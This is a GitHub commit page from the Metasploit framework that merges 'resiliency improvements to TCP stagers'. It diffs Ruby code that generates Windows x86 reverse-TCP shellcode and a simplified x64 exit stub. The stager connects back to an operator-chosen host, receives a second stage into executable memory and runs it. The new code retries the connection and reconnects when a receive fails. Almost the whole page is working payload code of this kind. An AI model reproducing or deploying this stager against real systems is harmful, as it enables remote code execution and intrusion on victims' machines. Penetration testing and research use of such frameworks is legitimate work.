Skip to content

Commit

Permalink
Land #5637, resiliency improvements to TCP stagers
Browse files Browse the repository at this point in the history
  • Loading branch information
Brent Cook committed Sep 3, 2015
2 parents 6820e8d + 3fd9e03 commit 1440f31
Show file tree
Hide file tree
Showing 5 changed files with 275 additions and 188 deletions.
204 changes: 111 additions & 93 deletions lib/msf/core/payload/windows/reverse_tcp.rb
Expand Up @@ -76,11 +76,11 @@ def required_space
# Start with our cached default generated size
space = cached_size

# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
space += 29

# Reliability adds 10 bytes for recv error checks
space += 10
# Reliability adds some bytes!
space += 44

space += uuid_required_size if include_send_uuid

Expand Down Expand Up @@ -108,137 +108,155 @@ def asm_reverse_tcp(opts={})
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
reverse_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );
create_socket:
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
push 'ws2_' ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
set_address:
push #{retry_count} ; retry counter
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
push #{retry_count} ; retry counter
create_socket:
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
try_connect:
push 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
call ebp ; connect( s, &sockaddr, 16 );
push 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure
test eax,eax ; non-zero means a failure
jz connected
handle_failure:
dec dword [esi+8]
handle_connect_failure:
; decrement our attempt count and try again
dec [esi+8]
jnz try_connect
^

if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
# TODO: Rewind the stack, free memory, try again
=begin
if opts[:reliable]
asm << %Q^
reconnect:
^
end
=end

asm << %Q^
; this lable is required so that reconnect attempts include
; the UUID stuff if required.
connected:
^
^

asm << asm_send_uuid if include_send_uuid

asm << %Q^
recv:
; Receive the size of the incoming second stage...
push 0 ; flags
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
push 0 ; flags
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, &dwLength, 4, 0 );
^

# Check for a failed recv() call
# TODO: Try again by jmping to reconnect
if reliable
asm << %Q^
cmp eax, 0
jle failure
^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jle cleanup_socket
^
end

asm << %Q^
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more: ;
push 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more:
push 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, buffer, length, 0 );
^

# Check for a failed recv() call
# TODO: Try again by jmping to reconnect
if reliable
asm << %Q^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jle failure
jge read_successful
; something failed, free up memory
pop eax ; get the address of the payload
push 0x4000 ; dwFreeType (MEM_DECOMMIT)
push 0 ; dwSize
push eax ; lpAddress
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)
cleanup_socket:
; clear up the socket
push edi ; socket handle
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket(socket)
; restore the stack back to the connection retry count
pop esi
pop esi
dec [esp] ; decrement the counter
; try again
jmp create_socket
^
end

asm << %Q^
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
read_successful:
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
^

if opts[:exitfunk]
Expand Down
16 changes: 1 addition & 15 deletions lib/msf/core/payload/windows/x64/exitfunk.rb
Expand Up @@ -33,25 +33,11 @@ def asm_exitfunk(opts={})
ret ; Return to NULL (crash)
^

# On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread
# on WoW64 processes, instead we need to call RtlExitUserThread. This stub will
# automatically generate the right code depending on the selected exit method.

when 'thread'
asm << %Q^
mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call rbp ; GetVersion(); (AL will = major version and AH will = minor version)
add rsp, 40 ; cleanup the default param space on stack
cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7
jl exitfunk_goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on
; Windows Vista, 2008 or 7...
jne exitfunk_goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
exitfunk_goodbye: ; We now perform the actual call to the exit function
push 0 ;
pop rcx ; set the exit function parameter
mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)}
mov r10d, ebx ; place the correct EXITFUNK into r10d
call rbp ; call EXITFUNK( 0 );
^
Expand Down

0 comments on commit 1440f31

Please sign in to comment.